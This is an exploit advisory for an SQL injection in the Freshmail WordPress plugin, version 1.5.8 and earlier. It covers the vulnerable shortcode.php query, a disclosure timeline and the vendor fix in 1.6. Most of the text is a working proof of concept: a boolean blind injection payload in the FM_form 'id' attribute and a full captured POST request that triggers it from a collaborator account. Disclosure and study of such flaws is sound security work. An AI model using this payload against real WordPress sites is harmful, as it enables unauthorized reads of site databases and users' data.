WordPress Plugin Freshmail 1.5.8 - 'shortcode.php' SQL Injection

# Exploit Title: Unauthenticated SQL Injection on Wordpress Freshmail (#1)
# Google Dork: N/A
# Date: 05/05/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage:
*http://freshmail.com/ <http://freshmail.com/> *
# Software Link:
*https://downloads.wordpress.org/plugin/freshmail-newsletter.latest-stable.zip
<https://downloads.wordpress.org/plugin/freshmail-newsletter.latest-stable.zip>*
# Version: <= 1.5.8, Communicated and Fixed by the Vendor in 1.6
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache
2.4.0 (Ubuntu)
# CVE : N/A
# Category: webapps

1. Summary
------------------

Freshmail plugin is an email marketing plugin for wordpress, allowing the
administrator to create mail campaigns and keep track of them.

There is a SQL Injection vulnerability available for collaborators (or
higher privileged users) for webs with freshmail plugin installed. The SQL
Injection in located in the attribute "id" of the inserted shortcode
[FM_form *id="N"*]. The shortcode attribute "id" is not sanitized before
inserting it in a SQL query.

A collaborator can insert shortcodes when he/she is editing a new post or
page and can preview the results (no administrator approval needed),
launching this SQL Injection.


2. Vulnerability timeline
----------------------------------

- 04/05/2015: Identified in version 1.5.8 and contact the developer company
by twitter.
- 05/05/2015: Send the details by mail to developer.

- 05/05/2015: Response from the developer.
- 06/05/2015: Fixed version in 1.6

3. Vulnerable code
---------------------------

Vulnerable File: include/shortcode.php, lines 27 and 120:

Line 19: function fm_form_func($atts)
[...]
Line 27: $form_value = $wpdb->get_row("select * from
".$wpdb->prefix.'fm_forms where form_id="'.$atts['id'].'";');
[...]
Line 120: add_shortcode('FM_form', 'fm_form_func');


3. Proof of concept
---------------------------

1. As collaborator, start a new post.
2. Insert the shortcode [FM_form id='1" and substr(user(),1,1)="b']
3. Click preview.
4. If the form is shown, the statement is true, if not, false.

POST /wp-admin/post.php HTTP/1.1
Host: <web>
Content-Length: 3979
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: <web>
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/43.0.2357.37 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundary384PE6lRgBcOibkL
Referer: http://<web>/wp-admin/post.php?post=69&action=edit&message=8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,es;q=0.6
Cookie: wordpress_f305[...]

------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="_wpnonce"

0a75a3666b
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/post.php?post=69&action=edit&message=8
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="user_ID"

4
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="action"

editpost
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="originalaction"

editpost
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="post_author"

4
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="post_type"

post
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="original_post_status"

pending
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="referredby"

http://<web>/wp-admin/post.php?post=69&action=edit&message=8

------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="_wp_original_http_referer"

http://<web>/wp-admin/post.php?post=69&action=edit&message=8

------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="post_ID"

69
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="meta-box-order-nonce"

f8aa04e508
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="closedpostboxesnonce"

ebf65a43ed
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="post_title"

Testing SQLi in shortcode
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="samplepermalinknonce"

e753a2d8f2
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="content"

[FM_form id='1" and substr(user(),1,1)="b]
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="wp-preview"

dopreview
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="original_publish"

Submit for Review
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="post_format"

0
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="post_category[]"

0
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="post_category[]"

1
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="tax_input[post_tag]"


------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="newtag[post_tag]"


------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="excerpt"


------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="trackback_url"


------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="metakeyselect"

#NONE#
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="metakeyinput"


------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="metavalue"


------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="_ajax_nonce-add-meta"

6a13a5a808
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="advanced_view"

1
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="comment_status"

open
------WebKitFormBoundary384PE6lRgBcOibkL
Content-Disposition: form-data; name="ping_status"

open
------WebKitFormBoundary384PE6lRgBcOibkL--


5. Solution
---------------

Update to version 1.6